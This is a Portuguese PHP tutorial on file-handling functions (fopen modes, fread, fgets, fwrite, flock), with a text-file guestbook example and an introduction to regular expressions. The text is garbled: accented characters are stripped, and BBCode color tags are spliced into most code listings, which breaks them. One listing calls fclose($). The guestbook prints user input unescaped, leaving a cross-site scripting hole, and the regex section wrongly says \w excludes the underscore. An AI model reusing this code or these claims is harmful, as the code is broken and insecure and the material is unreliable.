'r+' Abre para leitura e escrita; coloca o ponteiro do arquivo no comeo do arquivo.
'w' Abre para escrita somente; coloca o ponteiro do arquivo no comeo do arquivo e diminui
(trunca) o tamanho do arquivo para zero. Se o arquivo no existe, tenta cri-lo.
'w+' Abre o arquivo para leitura e escrita; coloca o ponteiro do arquivo no comeo e diminui
(trunca) o tamanho do arquivo para zero. Se o arquivo no existe, tenta cri-lo.
'a' Abre para escrita somente; coloca o ponteiro do arquivo no final. Se o arquivo no existe,
tenta cri-lo.
'a+' Abre o arquivo para leitura e escrita; coloca o ponteiro do arquivo no final. Se o arquivo
no existe, tenta cri-lo.
'x' Cria e abre o arquivo para escrita somente; coloca o ponteiro no incio do arquivo. Se o
arquivo j existe, a chamada a fopen() ir falhar, retornando FALSE e gerando um erro nvel
E_WARNING. Se o arquivo no existe, tenta cri-lo. Isto o equivalente a informar as flags
O_EXCL|O_CREAT numa chamada a open(2). Esta opo suportada no PHP 4.3.2 e
posteriores, e somente funciona em arquivos locais.
'x+' Cria e abre um arquivo para escrita e leitura; coloca o ponteiro do arquivo no incio. Se o
arquivo j existe, a chamada a fopen() ir falhar, retornando FALSE e gerando um erro nvel
E_WARNING. Se o arquivo no existe, tenta cri-lo. Isto o equivalente a informar as flags
O_EXCL|O_CREAT numa chamada a open(2). Esta opo suportada no PHP 4.3.2 e
posteriores, e somente funciona em arquivos locais.
O Windows oferece uma flag de traduo do modo texto ('t') que traduz,
transparentemente, \n para\r\n quando trabalhando no arquivo. Em contraste, voc tambm
pode utilizar 'b' para forar o modo binrio, que no ir traduzir o arquivo. Para usar essas
flags, informe ou 'b' ou 't' como o ltimo caracter no parmetro mode.
O modo do sistema de traduo default depende da versao da SAPI sob o qual voc est
usando o PHP, ento encorajado a sempre utilizar a flag apropriada por razes de
portabilidade. Voc deve usar o modo 't' se estiver trabalhando em arquivos texto simples e
utilizar \n para delimitar as linhas em seu script, de forma que voc pode esperar que eles
sejam lidos em outras aplicaes como o Notepad. Voc deve usar 'b' em todos os outros
casos.
Se voc no especificar a flag 'b' quando trabalhando com arquivos binrios, voc pode
experimentar problemas estranhos com seus dados, incluindo arquivos de imagens danificados
e problemas estranhos com os caracteres \r\n.

Para portabilidade, estremamente recomendado que voc sempre utilize a flag 'b' quando
abrindo arquivos com fopen().
Novamente, por portabilidade, estremamente recomendvel que voc re-escreva seu cdigo
nas situaes em que o modo 't' deva ser utilizado para corrigir os fim de linha, onde o modo
'b' no deva ser utilizado.
A partir do PHP 4.3.2, o modo padro configurado para binrio em todas as plataformas que
distinguem entre modo texto e binrio. Se voc est tendo problemas em seus scripts depois
de um upgrade, tente acrescentar a flag't' como um paliativo at que voc tenha tornado seus
scripts portveis como mencionado acima.
Voc pode usar o terceiro pparmetro opcional como "1", se voc quiser procurar pelo
arquivo no include_path tambm.
Se a abertura falhar, a funo retorna FALSE e um erro nvel E_WARNING gerado. Voc pode
utilizar @ para suprimir esse alerta.
Exemplo 1. exemplo do fopen()
PHP
1. <?php
2. $handle = fopen ("/home/rasmus/file.txt", "r");
3. $handle = fopen ("/home/rasmus/file.gif", "wb");
4. $handle = fopen ("http://www.example.com/", "r");
5. $handle = fopen ("ftp://user:password@example.com/somefile.txt", "w");
6. ?>

Se voc est tendo problemas com a leitura e gravao para arquivos e voc est usando a
verso de modulo de servidor do PHP, lembre-se de que os arquivos e diretrios que voc est
usando precisam ser acessveis ao processo do servidor HTTP.
Na plataforma Windows, tenha cuidado para usar uma segunda barra invertida (escape) nos
caminhos de arquivos, ou usar a barra normal.

<?php
$handle = fopen ("c:\\data\\info.txt", "r");
?>

fclose
fclose
fclose -- Fecha um ponteiro de arquivo aberto
Descrio
bool fclose ( int handle)
O arquivo apontado por handle fechado.
Retorna TRUE em caso de sucesso ou FALSE em falhas.
O ponteiro para o arquivo tem que ser vlido e tem que apontar para um arquivo aberto por
fopen() ou fsockopen().
Exemplo 1. Exemplo fclose()

PHP
1.
2. <?php
3.
4.

$handle = fopen('qualquerarquivo.txt', 'r');

5.
6.

fclose($handle);

7.
8. ?>
9.

readfile
readfile -- L e exibe o contedo de um arquivo
Descrio
int readfile ( string nomedoarquivo [, bool use_include_path [, resource context]])

L um arquivo e escreve o seu contedo para o buffer de sada (output buffer).


Retorna o nmero de bytes lido do arquivo. Se um error ocorrer, retorna FALSE e ao menos
que a funo seja chamada como @readfile(), uma mensagem de erro ser impressa.
Dica: Voc pode usar uma URL com esta funo se fopen wrappers estiver habilitado. Veja
fopen() para mais detalhes em como especificar o nome do arquivo e Apndice L para uma
lista de protocolos URL suportados.
Voc pode usar o segundo parmetro opcional e o configurar para TRUE, se voc quiser
procurar o arquivo no include_path tambm.
PHP
1. <?php
2.
3. $bytes = readfile("teste.txt");// le arquivo na mesma linha
4. [color=" blue"]echo[/color] $bytes;
5. [color=" red fontweight bold"]?>[/color]

file
file -- Le um arquivo inteiro para um array
Descrio
array file ( string filename [, int use_include_path [, int use_include_path]])
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $array = file ([color=" orange"]"teste.txt"[/color]);
3. foreach ($array as $linha)
4. [color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color];
5. [color=" red fontweight bold"]?>[/color]

Idntico a readfile(), exceto que file() retorna o arquivo em um array. Cada elemento do array
corresponde a uma linha no arquivo, inclusive com o caracter de nova linha. Em caso de falha,
file() retorna FALSE.
Voc pode usar o parmetro opcional use_include_path como "1", se voc deseja procurar o

arquivo no include_path tambm.

PHP
1.
2. [color=" red fontweight bold"]<?php[/color]
3. // Le um arquivo em um array. Nesse exemplo voc pode obter via HTTP para obter
4. // o cdigo fonte HTML de uma URL.
5. $lines = file ('http://www.exemplo.com/');
6.
7. // Roda atravs do array, mostrando o fonte HTML com numerao de linhas.
8. foreach ($lines as $line_num => $line) {
9. [color=" blue"]echo[/color] [color="
orange"]"Linha #<b>{$line_num}</b> : "[/color] . htmlspecialchars($line) . [color="
orange"]"<br>\n"[/color];
10. }
11.
12. // Outro exemplo, onde obtemos a pgina web inteira como uma string. Veja tambm
file_get_contents().
13. $html = implode ('', file ('http://www.exemplo.com/'));
14. [color=" red fontweight bold"]?>[/color]

Dica: Voc pode usar uma URL com esta funo se fopen wrappers estiver habilitado. Veja
fopen() para mais detalhes em como especificar o nome do arquivo e Apndice L para uma
lista de protocolos URL suportados.
Nota: Cada linha do array resultante ter os caracteres de fim de linha, ento voc precisa
utilizar trim() se no quiser esses caracteres presentes.
Nota: Se voc est tendo problemas com o PHP no reconhecimento do final de linha quando
criando ou lendo arquivos num computador Macintosh, voc pode habilitar a opo
auto_detect_line_endings.

Nota: A partir do PHP 4.3.0, voc pode utilizar file_get_contents() para retornar o contedo de
um arquivo como uma string.
No PHP 4.3.0 file() se tornou segura para arquivos binrios.
file_get_contents
file_get_contents -- Le todo o contedo de um arquivo para uma string
Descrio
string file_get_contents ( string filename [, int use_include_path [, resource context]])
Idntico a file(), exceto que file_get_contents() retorna o arquivo em uma string.
file_get_contents() o mtodo prefervel para ser ler o contedo de um arquivo em uma
string. Ela usa tecnicas de mapeamento de memrio suportadas em seu sistema operacional
para melhorar a performance.
Nota: Esta funo compatvel com dados binrios
Dica: Voc pode usar uma URL com esta funo se fopen wrappers estiver habilitado. Veja
fopen() para mais detalhes em como especificar o nome do arquivo e Apndice L para uma
lista de protocolos URL suportados.
Nota: O suporte ao contexto foi acrescentado no PHP 5.0.0.
PHP
1. [color=" red fontweight bold"]<?[/color]
2. $conteudo = file_get_contents ([color=" orange"]"teste.txt"[/color]);
3. [color=" blue"]echo[/color] $conteudo;
4. [color=" red fontweight bold"]?>[/color]

fread
fread -- Leitura binary-safe de arquivo
Descrio
string fread ( resource handle, int length)
fread() l at length bytes do ponteiro de arquivo informado em handle. A leitura
interrompida quando length bytes foram lidos ou o fim do arquivo (eof) foi alcanado, ou (para
streams de rede) quando um pacote se torna disponvel, o que ocorrer primeiro.

PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]);
3. $conteudo = fread ($ponteiro, 30);
4. [color=" blue"]echo[/color] $conteudo;
5. fclose ($ponteiro);
6. [color=" red fontweight bold"]?>[/color]

PHP
1. [color=" red fontweight bold"]<?php[/color]
2. // ler o contedo do arquivo para uma string
3. $filename = [color=" orange"]"/usr/local/qualquer.txt"[/color];
4. $handle = fopen ($filename, [color=" orange"]"r"[/color]);
5. $conteudo = fread ($handle, filesize ($filename));
6. fclose ($handle);
7. [color=" red fontweight bold"]?>[/color]

Ateno
Em sistemas que diferenciam entre arquivos binrios e texto (por exemplo Windows) o arquivo
tem que ser aberto com 'b' includo como parametro na funo fopen().

PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $filename = [color=" orange"]"c:\\files\\figura.gif"[/color];
3. $handle = fopen ($filename, [color=" orange"]"rb"[/color]);
4. $conteudo = fread ($handle, filesize ($filename));
5. fclose ($handle);

6. [color=" red fontweight bold"]?>[/color]

Ateno
Quando lendo de streams de rede ou canais (pipes), como aqueles retornados pela leitura de
arquivos remotos ou de popen() e proc_open(), a leitura ir parar depois que um pacote se
torna disponvel. Isto significa que voc deve juntar os dados em blocos como demonstrado no
exemplo seguinte.

PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $handle = fopen ([color=" orange"]"http://www.example.com/"[/color], [color="
orange"]"rb"[/color]);
3. $conteudo = [color=" orange"]""[/color];
4. do {
5. $data = fread($handle, 8192);
6. [color=" blue"]if[/color] (strlen($data) == 0) {
7. [color=" blue"]break[/color];
8. }
9. $conteudo .= $data;
10. } while(true);
11. fclose ($handle);
12. [color=" red fontweight bold"]?>[/color]

Nota: O exemplo acima tem uma performance melhor que o jeito comum usando
while(!feof()), porque ele economiza o overhead de uma chamada de funo por iterao.
Nota: Se voc quer apenas pegar o contedo de um arquivo para uma string, utilize
file_get_contents() que tem uma performance ainda melhor que o cdigo acima.

fgets
fgets -- Le uma linha de um ponteiro de arquivo
Descrio
string fgets ( resource handle [, int length])

Retorna uma string com at length - 1 bytes lidos do arquivo apontado por handle. A leitura
acaba quando length - 1 bytes foram lidos, encontra-se um fim de linha (newline) (que
incluido no valor retornado) ou no fim de arquivo (EOF) (o que acontecer primeiro). Se
nenhum length for informado, o default 1Kb, ou 1024 bytes.
Se um erro ocorrer, retorna FALSE.
Equvocos comuns:
Pessoas acostumadas a semntica do fgets em 'C' devem notar a diferenca em como o fim do
arquivo (EOF) retornado.
O ponteiro para o arquivo deve ser vlido e deve apontar para um arquivo aberto com sucesso
por fopen(), popen() ou fsockopen().
Um simples exemplo segue: Exemplo 1. Lendo um arquivo linha a linha

PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $handle = fopen ([color=" orange"]"/tmp/arquivodeentrada.txt"[/color], [color="
orange"]"r"[/color]);
3. while (!feof ($handle)) {
4. $buffer = fgets($handle, 4096);
5. [color=" blue"]echo[/color] $buffer;
6. }
7. fclose ($handle);
8. [color=" red fontweight bold"]?>[/color]
9.

PHP
1. [color=" red fontweight bold"]<?[/color]
2.
3. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]);
4.
5. while (!feof ($ponteiro)) {
6.
7.

$linha = fgets($ponteiro, 4096);

8.
9.

[color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color];

10.
11. }
12.
13. fclose ($ponteiro);
14. [color=" red fontweight bold"]?>[/color]

Nota: O parmetro length se tornou opcional a partir do PHP 4.2.0, e se omitido, tem default
para 1024 bytes para o comprimento da linha. A partir do PHP 4.3, omitindo length far
continuar a leitura a partir do stream at encontrar o fim da linha. Se a maioria das linhas no
arquivo forem todar maiores que 8 Kb, haver mais eficincia de recursos se seus scripts
informarem o comprimento mximo das linhas.
Nota: Esta funo binary safe a partir do PHP 4.3. Verses anteriores no so seguras para
dados binrios.
Nota: Se voc est tendo problemas com o PHP no reconhecimento do final de linha quando
criando ou lendo arquivos num computador Macintosh, voc pode habilitar a opo
auto_detect_line_endings.

fwrite
fwrite -- Gravao em arquivos binary-safe
Descrio
int fwrite ( resource handle, string string [, int comprimento])

fwrite() grava os contedos de string para o stream de arquivo apontado por handle. Se o
argumento comprimento dado, a gravao ir parar depois de que comprimento bytes foram
escritos ou o fim da string alcanada, o que ocorrer primeiro.
fwrite() retorna o nmero de bytes gravados, ou FALSE em caso de erro.
Note que se o argumento comprimento dado, ento a opo de configurao
magic_quotes_runtime ser ignorada e nenhuma barra ser retirada do string.
Nota: Em sistemas que diferenciam entre arquivos binrios e texto (por exemplo Windows) o
arquivo tem que ser aberto com 'b' includo no parametro mode do fopen().
Exemplo fwrite
PHP
1. [color=" red fontweight bold"]<?php[/color]
2. $filename = 'teste.txt';
3. $somecontent = [color=" orange"]"Acrescentando isto no arquivo\n"[/color];
4.
5. // Tendo certeza que o arquivo existe e que h permisso de escrita primeiro.
6. [color=" blue"]if[/color] (is_writable($filename)) {
7.
8. // Em nosso exemplo, ns estamos abrindo $filename em modo de append (acrscimo
).
9. // O ponteiro do arquivo estar no final dele desde
10. // que ser aqui que $somecontent ser escrito com fwrite().
11. [color=" blue"]if[/color] (!$handle = fopen($filename, 'a')) {
12. [color=" blue"]print[/color] [color="
orange"]"Erro abrindo arquivo ($filename)"[/color];
13. exit;

14. }
15.
16. // Escrevendo $somecontent para o arquivo aberto.
17. [color=" blue"]if[/color] (!fwrite($handle, $somecontent)) {
18. [color=" blue"]print[/color] [color="
orange"]"Erro escrevendo no arquivo ($filename)"[/color];
19. exit;
20. }
21.
22. [color=" blue"]print[/color] [color="
orange"]"Sucesso: escrito ($somecontent) no arquivo ($filename)"[/color];
23.
24. fclose($);
25.
26. } [color=" blue"]else[/color] {
27. [color=" blue"]print[/color] [color="
orange"]"The file $filename is not writable"[/color];
28. }
29. [color=" red fontweight bold"]?>[/color]

fputs
fputs -- Sinnimo de fwrite()
flock
flock -- Monitor de travamento de arquivos porttil
Descrio
bool flock ( int handle, int operation [, int &wouldblock] )
O PHP suporta uma maneira portvel de lock arquivos inteiros em uma advisory way (que
significa que todos os programas acessando tem que usar o mesmo tipo de travamento ou no
ir funcionar).
flock() opera em fp, que tem que ser um ponteiro de arquivo aberto com sucesso. operacao
um dos seguintes valores:

Para obter um lock compartilhado (leitura), utilize operation como LOCK_SH (ou use 1 se a
verso do PHP for anterior a 4.0.1).
Para obter um lock exclusivo (gravao), utilize operacao como LOCK_EX (ou use 2 se a verso
do PHP for anterior a 4.0.1).
Para retirar um lock (compartilhado ou exclusivo), uyilize operacao como LOCK_UN (ou use 3
se a verso do PHP for anterior a 4.0.1).
Se voc no quer usar flock() para bloquear enquanto travando, adicione LOCK_NB (4 se a
verso do PHP for anterior a 4.0.1) a operacao.

flock() permite a voc fazer um simples modelo leitura/gravao (reader/writer) que pode ser
usado em virtualmente todas as plataformas (incluindo a maior parte dos Unixes e at mesmo
Windows). O terceiro argumento opcional usado como TRUE se a lock ir bloquear
(EWOULDBLOCK errno condition).
Retorna TRUE em caso de sucesso ou FALSE em falhas.
Exemplo 1. flock() example
PHP
1. [color=" red fontweight bold"]<?php[/color]
2.
3. $fp = fopen([color=" orange"]"/tmp/lock.txt"[/color], [color=" orange"]"w+"[/color]);
4.
5. [color=" blue"]if[/color] (flock($fp, LOCK_EX)) { // faca um lock exclusivo
6. fwrite($fp, [color=" orange"]"escrevemos algo aqui\n"[/color]);
7. flock($fp, LOCK_UN); // libera o lock
8. } [color=" blue"]else[/color] {
9. [color=" blue"]echo[/color] [color=" orange"]"No pude travar o arquivo !"[/color];
10. }
11.
12. fclose($fp);
13.

14. [color=" red fontweight bold"]?>[/color]

Nota: Uma vez que flock() requer um ponteiro de arquivo, voc precisa utilizar um lock de
arquivo especial para proteger i acessi a um arquivo ao qual voc pretende truncar quando
abrindo no modo de escrita (com um argumento "w" ou "w+" em fopen()).

Ateno
flock() no funcionar em NFS ou em qualquer outro sistema de arquivos em rede. Verifique a
documentao do seu sistema operacional para mais detalhes.
Na maior parte dos sistemas operacionais flock() implementada no nvel do processo.
Quando utilizando um servidor com uma API de multiprocessamento (como ISAPI), voc no
pode confiar em flock() para proteger os arquivos contra outros scripts PHP rodando em
threads paralelas da mesma instncia do servidor!
flock() no suportado em sistemas de arquivos antiquados como a FAT e seus derivados, e
sempre retornar FALSE sob esses ambientes (especialmente para usurios do Windows 98).
Criando um mural de recados em arquivos texto
vou mostrar como criar um mural de recados bem simples depois vocs podem aperfeioar ele
como por exemplo deixar s pessoas cadastradas postar uma mensagem, nao deixar dados em
branco serem gravados, limitar o tamanho maximo da mensagem, colocar a opo de editar a
mensagem ,mas o usuario pode s editar a sua propria mensagem e o admin pode editar
todas, facil fazer tudo isso ,mas como o foco do curso no fazer sistemas pra ninguem ,mas
sim ensinar o caminho das pedras e mostrar os melhores caminhos ,ento fica por sua conta
essa incrementao do sistema, mas qualquer duvida pode perguntar no forum
PHP
1. <html>
2. <body>
3. <form method=[color=" orange"]"post"[/color] action=[color="
orange"]"gravar.php"[/color]>
4. <table width=[color=" orange"]"100px"[/color] border=[color="
orange"]"0"[/color] align=[color=" orange"]"center"[/color]>
5.

<tr>

6. <td>Nome: </td>
7. <td><input name=[color=" orange"][color=" orange"][color="
orange"]"nome"[/color][/color][/color] type=[color="
orange"]"text"[/color] size=[color=" orange"][color=" orange"][color="
orange"]"20"[/color][/color][/color] maxlength=[color=" orange"][color="
orange"][color=" orange"]"20"[/color][/color][/color]></td>
8.

</tr>

9.

<tr>

10. <td>Mensagem:</td>
11. <td>
12. <textarea name=[color=" orange"][color=" orange"]"msg"[/color][/color] cols=[color="
orange"][color=" orange"][color=" orange"]"20"[/color][/color][/color] rows=[color="
orange"]"3"[/color]>
13. </textarea>
14. </td>
15. </tr>
16. <tr>
17. <td><input type=[color=" orange"]"submit"[/color] value=[color="
orange"]"Enviar"[/color]></td>
18. </tr>
19. </table>
20. </form>
21. </body>
22. </html>
23. [color=" red fontweight bold"]<?[/color]
24. [color=" blue"]echo[/color] [color=" orange"]"<hr>"[/color];
25.
26. [color=" blue"]if[/color](isset($_POST[[color=" orange"][color=" orange"][color="
orange"]"nome"[/color][/color][/color]]))
27. {
28.

29. $fp = fopen([color=" orange"][color=" orange"]"arquivo.txt"[/color][/color], [color="


orange"]"a+"[/color]);
30.
31. $nome = trim($_POST[[color=" orange"][color=" orange"][color="
orange"]"nome"[/color][/color][/color]]);
32. $msg = trim($_POST[[color=" orange"][color=" orange"]"msg"[/color][/color]]);
33.
34. $nome = str_replace([color=" orange"][color=" orange"]"\r\n"[/color][/color], [color="
orange"][color=" orange"]" "[/color][/color], $nome);
35. $msg = str_replace([color=" orange"][color=" orange"]"\r\n"[/color][/color], [color="
orange"][color=" orange"]" "[/color][/color], $msg);
36. $data = date([color=" orange"]"d/m/Y H:i"[/color]);
37.
38. fwrite($fp, [color=" orange"]"$nome|$msg|$data\n"[/color]);
39. fclose($fp);
40.
41. $fp = file([color=" orange"][color=" orange"]"arquivo.txt"[/color][/color]);
42.
43. for( $i = 0; $i < count($fp); $i++)
44. {
45. $arr = explode([color=" orange"]"|"[/color], $fp[$i]);
46.
47. [color=" blue"]echo[/color] [color=" orange"]"Data: $arr[2]<br />"[/color];
48. [color=" blue"]echo[/color] [color=" orange"]"Nome: $arr[0]<br />"[/color];
49. [color=" blue"]echo[/color] [color=" orange"]"Mensagem: $arr[1]<br /><hr>"[/color];
50.
51. }
52.
53. }

54. [color=" red fontweight bold"]?>[/color]

Funes do PHP para manipulao de arquivos

ndice
basename -- Retorna a parte nome do arquivo do caminho/path
chgrp -- Modifica o grupo do arquivo
chmod -- Modifica as permisses do arquivo
chown -- Modifica o dono do arquivo
clearstatcache -- Limpa as informaes em cache de arquivos
copy -- Copia arquivo
dirname -- Retorna o componente diretrio de um caminho/path
disk_free_space -- Retorna o espao disponivel no diretrio
disk_total_space -- Retorna o tamanho total do diretrio
diskfreespace -- Sinnimo de disk_free_space()
fclose -- Fecha um ponteiro de arquivo aberto
feof -- Testa pelo fim-de-arquivo (eof) em um ponteiro de arquivo
fflush -- Fora a liberao do buffer para um arquivo
fgetc -- Le um caracter do ponteiro de arquivo
fgetcsv -- Le uma linha do ponteiro de arquivos e a interpreta por campos CSV
fgets -- Le uma linha de um ponteiro de arquivo
fgetss -- Ler uma linha de um ponteiro de arquivo e retira as tags HTML
file_exists -- Checa se um arquivo ou diretrio existe
file_get_contents -- Le todo o contedo de um arquivo para uma string
file_put_contents -- Write a string to a file
file -- Le um arquivo inteiro para um array
fileatime -- Obtm o ltimo horrio de acesso do arquivo
filectime -- Ler o tempo de modificao do inode do arquivo
filegroup -- L o grupo do arquivo
fileinode -- L o inode do arquivo
filemtime -- Le o tempo de modificao do arquivo
fileowner -- L o dono (owner) do arquivo
fileperms -- L as permisses do arquivo
filesize -- L o tamanho do arquivo
filetype -- L o tipo de arquivo (file type)
flock -- Monitor de travamento de arquivos porttil
fnmatch -- Verifica se um nome de arquivo bate com padro (wildcards)
fopen -- Abri um arquivo ou uma URL
fpassthru -- Imprime todo os dados restantes de um ponteiro de arquivo
fputcsv -- Format line as CSV and write to file pointer

fputs -- Sinnimo de fwrite()


fread -- Leitura binary-safe de arquivo
fscanf -- Interpreta a leitura de um arquivo de acordo com um formato
fseek -- Procura (seeks) em um ponteiro de arquivo
fstat -- L a informao sobre um arquivo usando um ponteiro de arquivo aberto
ftell -- Retorna a posio de leitura/gravao do ponteiro do arquivo
ftruncate -- Corta (trunca) um arquivo para um tamanho especificado
fwrite -- Gravao em arquivos binary-safe
glob -- Localiza diretrios/arquivos que combinem com o padro
is_dir -- Diz se o caminho um diretrio
is_executable -- Diz se um arquivo executvel
is_file -- Diz se o arquivo um arquivo comum (no diretrio)
is_link -- Diz se o arquivo um link simblico (symbolic link)
is_readable -- Diz se o arquivo legivel (readable)
is_uploaded_file -- Diz se o arquivo foi uploaded via HTTP POST
is_writable -- Diz se pode-se escrever para o arquivo (writable)
is_writeable -- Esta uma funo sinnima (alias) de is_writable()
link -- Criando um hard link
linkinfo -- Ler informaes sobre um link
lstat -- Obtem informaes sobre um arquivo ou link simblico
mkdir -- Criar um diretrio
move_uploaded_file -- Move um arquivo carregado para uma nova localizao
parse_ini_file -- Interpreta um arquivo de configurao
pathinfo -- Retorna informao sobre o path de um arquivo
pclose -- Fecha um processo de um ponteiro de arquivo
popen -- Abre um processo como ponteiro de arquivo
readfile -- L e exibe o contedo de um arquivo
readlink -- Retornar o alvo de um link simblico
realpath -- Retorna o path absoluto canonicalizado
rename -- Renomear um arquivo
rewind -- Reinicializa a posio do ponteiro de arquivos para o incio
rmdir -- Remove um diretrio
set_file_buffer -- Sinnimo de stream_set_write_buffer()
stat -- Obtem informaes sobre um arquivo
symlink -- Cria um link simblico
tempnam -- Cria um nome de arquivo nico
tmpfile -- Cria um arquivo temporrio
touch -- Muda o tempo de modificao do arquivo
umask -- Modificar a umask atual
unlink -- Apaga um arquivo
Expresses Regulares (E.R.)
Voc ja deve ter visto sobre regex, ER ou Expresses regulares
bom pra quem no entende nada de ER e muito mesmo sabia o que era ER

esse tutorial pra voc, vou tentar explicar o mximo sobre ER tirando aquela ideia que uma
ER parece codigo pra indigena ou outra coisa que no da pra entender nada, meu foco no
deixar voc 100% conhecedor de ER ,mas sim mostrar que no to complicado fazer ou ler
uma er basta prestar ateno
e eu vou passar o que eu sei dai voc ter uma base pra se aprofundar em conhecer melhor
sobre ER, muita gente no sabe usar uma ER por isso acaba fazendo coisas complexas que com
uma simples ER faria, depois que voc se acostumar a trabalhar com ER voc vai ver que
impossivel ficar sem elas
bom mas chega de papo e vamos la para o que interessa.
O que so Expresses Regulares?
Resumindo so simbolos ou caracteres com funes especiais para pesquisar,
casar uma frase, palavra ou caracter, substituir ou modificar, por exemplo voc pode procurar
uma frase por uma palavra a ou voc s quer aceitar s palavras minusculas, voc quer uma
palavra ou caracter que esteja no comeo ou no fim de uma frase, voc pode validar:
emails,cnpj, cpf, numeros, datas, etc... tudo isso que eu falei e muito mais voc pode fazer com
ER, muito mais facil que tentar fazer uma funo pra isso dependendo da funo ela seria
enorme ao contrario de uma simples ER de uma linha
funes do php para manipular as ER
[color="DarkBlue"]ereg()
ereg_replace()
eregi()
eregi_replace()
split()
spliti()
preg_match()
preg_match_all()
preg_replace()
preg_split()
sql_regcase()[/color]
Vou falar mais da prprias ER doque as funes acima caso queria estuda-las procure no
manual do php
\a Isto combina com o caractere ASCII da campainha (BEL, 0x07).
\f Isto combina com o caractere ASCII de nova pgina (FF, 0x0C).
\n Isto combina com o caractere ASCII de nova linha (LF, 0x0A, nova linha do Unix).
\r Isto combina com o caractere ASCII de retorno de carro (CR, 0x0D).

\t Isto combina com o caractere ASCII de tabulao horizontal (HT, 0x09).


\v Isto combina com o caractere ASCII de tabulao vertical (VT, 0x0B).
\xhhhh
Isto combina com o caractere Unicode correspondente ao nmero hexadecimal hhhh (entre
0x0000 e 0xFFFF). \0ooo (isto , \zero ooo) combina com o caractere ASCII/Latin-1
correspondente ao nmero octal ooo (entre 0 e 0377).
. (ponto) Isto combina com qualquer caractere (incluindo nova linha).
\d Isto combina com um dgito. igual a [0-9]
\D Isto combina com um caractere que no seja dgito. Igual a [^0-9] ou [^\d]
\s Isto combina com um caractere em branco. Praticamente igual a [\t\n\r]
\S Combina com o que no seja espao em branco. Praticamente igual a [^\t\r\n], e igual a
[^\s]
\w Combina com quaisquer caractere da palavra, neste caso quaisquer letras ou dgitos.
Note que o caractere de sublinhado (ou underscore - _) no combina, como o caso com
expresses regulares do Perl. Igual a [a-zA-Z0-9]
\W Combina com qualquer caractere diferente de palavra - qualquer coisa menos letras ou
nmeros. Igual a [^a-zA-Z0-9] ou [^\w]

[] lista
- (hfen)
Denota um intervalo lgico. Deve sempre ser escapado dentro de uma classe.
[0-9] mesma coisa que 0123456789
[a-z] mesma coisa que abcdefghij...z
^ (circunflexo)
Denota uma classe negativa, se for o primeiro caractere. Deve ser escapado para combinar
literalmente, se for o primeiro caractere da classe.
\ (barra invertida) O caractere de escape.
^ (circunflexo) Combina com o incio da string.

$ Combina com o fim da string.


() (parnteses esquerdo e direito) Denota sub-padres.
{} (abre e fecha chaves) Denota quantificadores numricos.
| OR lgico. Alternativas separadas.
+ (sinal de mais) Quantificador, 1 ou mais.
* (asterisco) Quantificador, 0 ou mais.
? (ponto de interrogao) Um caractere opcional. Pode ser interpretado como um
quantificador, 0 ou 1.

[[:alnum:]] Caracteres alfanumricos.


[[:alpha:]] Caracteres alfabticos.
[[:digit:]] Nmero Decimal (0-9).
[[:lower:]] Caracteres minsculos.
[[:upper:]] Caracteres maisculos.
[[:xdigit:]] Nmero Hexadecimal .
[[:cntrl:]] Caracteres de Controle.
[[:print:]] Caracteres imprimveis.
[[:space:]] Caracteres com espaos em branco.

[a-z] caracteres do alfabeto (minsculo).


[A-Z] caracteres do alfabeto (maisculo).
[a-zA-Z] caracteres do alfabeto (maisculo e minsculo).
[aeiou] apenas vogais.
[^a-z] tudo menos os caracteres do alfabeto (minsculo).
[^aeiou] - apenas consoantes O caractere ^ representa fora do intervalo das vogais. No est
contido entre aeiou..
[^] quando tem um ^ dentro de uma lista[] ele quer dizer pra negar esses simbolos como voc
viu acima [^a-z] ele nao vai aceitar qualquer palavra minuscula de a a z [a-z] se tiver sem o ^ele
vai aceitar s palavras minusculas de a a z pagar casar um caracter que simbolo da ER voc
tem que escapa-la exemplo [\^] acima ser o ^mesmo e no a funo para negar
um ^ fora de uma lista[] quer dizer comeo e $ quer dizer fim
por exemplo se voc procura por uma palavra que comee com a se pode fazer assim (^a)
exemplo:

PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Fabyo"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]

ele ira retornar falso porque a 1 letra no a e sim F

PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Andr"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]

esse exemplo acima continuar retornando falso porque voc ta buscando um a minusculo se
quiser aceitar maiusculos e minusculos voc pode fazer assim:

PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Andr"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^[aA])/"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]

ou usando um modificador i que aceita minusculas ou maiusculas

PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"Andr"[/color];
3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/i"[/color], $test);
4. [color=" red fontweight bold"]?>[/color]

PHP
1. [color=" red fontweight bold"]<?[/color]
2. $test = [color=" orange"]"asp"[/color];
3. [color=" blue"]echo[/color] preg_match(sql_regcase([color="
orange"]"#(PHP|ASP)#"[/color]), $test);
4. [color=" red fontweight bold"]?>[/color]

sql_regcase -- Cria expresses regulares insensveis a maisculas e minsculas.


(PHP|ASP) o | um or ( ou ) PHP ou ASP e o sql_regcase vai aceitar tanto minusculas como
maiusculas
e sobre ("[color="red"]#[/color](PHP|ASP)[color="red"]#[/color]") s pra escapar a ER no
preg_match pode ser usado qualquer caracter de escape
mas tome cuidado para no usar um muito diferente ou que pode ser usado na ER
posso escapar assim: ("[color="red"]/[/color](PHP|ASP)[color="red"]/[/color]") ou
("[color="red"]~[/color](PHP|ASP)[color="red"]~[/color]") , bom pelo menos agora voc vai
olhar pra ER e no vai ficar to confuso querendo descobrir pra que serve a /, # ou ~
outro exemplo s para entender melhor:

PHP
1. [color=" red fontweight bold"]<?[/color]
